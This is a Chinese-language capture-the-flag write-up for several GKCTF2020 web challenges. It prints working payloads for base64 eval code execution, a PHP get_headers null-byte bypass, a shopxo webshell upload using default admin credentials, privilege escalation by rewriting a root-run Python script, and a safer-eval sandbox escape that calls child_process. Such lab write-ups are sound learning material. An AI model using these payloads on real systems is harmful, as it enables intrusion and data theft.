GKCTF2020 web
CheckIN(unsolved)
考点:代码审计,绕disable_functions
题目给了源码:
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
在__construct()
中,传入Ginkgo参数,会被base64_decode,所以先base64编码一下RCE:
phpinfo();->cGhwaW5mbygpOw==
得到phpinfo()回显。
在disable_function看出禁用了很多函数。
先遍历一下目录:
payload:
?Ginkgo=dmFyX2R1bXAoc2NhbmRpcignLi4vLi4vLi4vLi4vJykpOw==
dmFyX2R1bXAoc2NhbmRpcignLi4vLi4vLi4vLi4vJykpOw==
是var_dump(scandir('../../../../'));
的base64编码,得到:
可以看到有一个readflag文件。连上蚁剑(话说我为什么扫目录):
cve版签到
考点:cve-2020-7066,%00截断
f12查看,可以看到:
点击蓝色链接,跳转到了:
没有显示任何东西,有一个url参数,无从下手,不过题目放了一个hint,可以说是白给了:
百度一搜,找到这个网站:
https://bugs.php.net/bug.php?id=79329
要构造url参数。再看一下网站给的测试代码:
<?php
//用户输入
$_GET ['url'] ="http:// localhost \ 0.example.com";
$host = parse_url($_GET['url'],PHP_URL_HOST);
if(substr($host,-12)!=='.example.com'){
die();
}
$headers = get_headers($_GET['url']);
所以构造payload:
?url=http://127.0.0.123%00www.ctfhub.com
因为是在url中构造,所以\0
截断要换成%00
截断
得到flag:
(我傻呼的一直把localhost当作是oj的域名)
老八小超市儿
考点:shopxo电商后台渗透 参考链接:
http://www.nctry.com/1660.html
shopxo有个后台,默认地址是/admin.php,默认用户密码是admin和shopxo,登陆进入后台:
到官网下一个免费主题,将一句话木马添加到default/_static_/
下
上传:
地址是:
http://*****/public/static/index/default/hah.php
蚁剑连接(菜刀又一次拉跨):
在根目录下找到fakeflag:
root文件夹没有权限访问:
不过在根目录下还有一个可疑的auto.sh的文件和hint:
看一下hint:
提权无疑了。再看一下auto.sh:
shell脚本。查看一下权限:
auto.sh是root权限才能执行,makeflaghint.py又可以修改,那么就通过修改py文件来达到“借刀杀人”的目的:
搜到了一个遍历目录的脚本:
修改py文件为:
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
# f=io.open("/flag.hint", "rb+")
# f.write(str(gk1))
# f.write(str(gk))
f = open("/flag","rb+")
for root,dirs,files in os.walk(r"/root/"):
for file in files:
f.write(str(os.path.join(root,file))+"||")
# TODO: write code...
f.close()
得到目录文件:
提取flag:
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
# f=io.open("/flag.hint", "rb+")
# f.write(str(gk1))
# f.write(str(gk))
f = open("/flag","rb+")
get = open("/root/flag","r")
f.write(get.read())
# TODO: write code...
f.close()
得到:
EZ三剑客-EzNode
考点:int溢出,safereval沙箱突破
随意输入,返回的都是timeout:
查看一下源代码:
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
看到有一个eval路径,并传参delay:
首先就是要先绕过timeout,否则不管之后怎么操作,都只会显示timeout。机缘巧合,发现一长串的数字即可绕过,赛后看了wp才知道delay只是int型,学过C都知道这种数据类型都是有界的,超过即报错,所以:
payload:
/eval?delay=111111111111111
别数了,一共15个1,多输几个也没毛病。
接下来就是从颖奇师傅那边嫖来的safereval沙箱逃逸
,参考:
https://github.com/commenthol/safer-eval/issues/10有利用代码:
const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
主要的是:
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
可以合并成:
return clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("whoami").toString()
本题在eval路径下给了一个e参数可以控制:
所以:
EZ三剑客-EzWeb(unsolved)
考点:
EZ三剑客-EzTypecho(unsolved)
考点
Node-Exe(unsolved)
考点:
上一篇: [GKCTF2020]web
下一篇: [GKCTF2020]CheckIN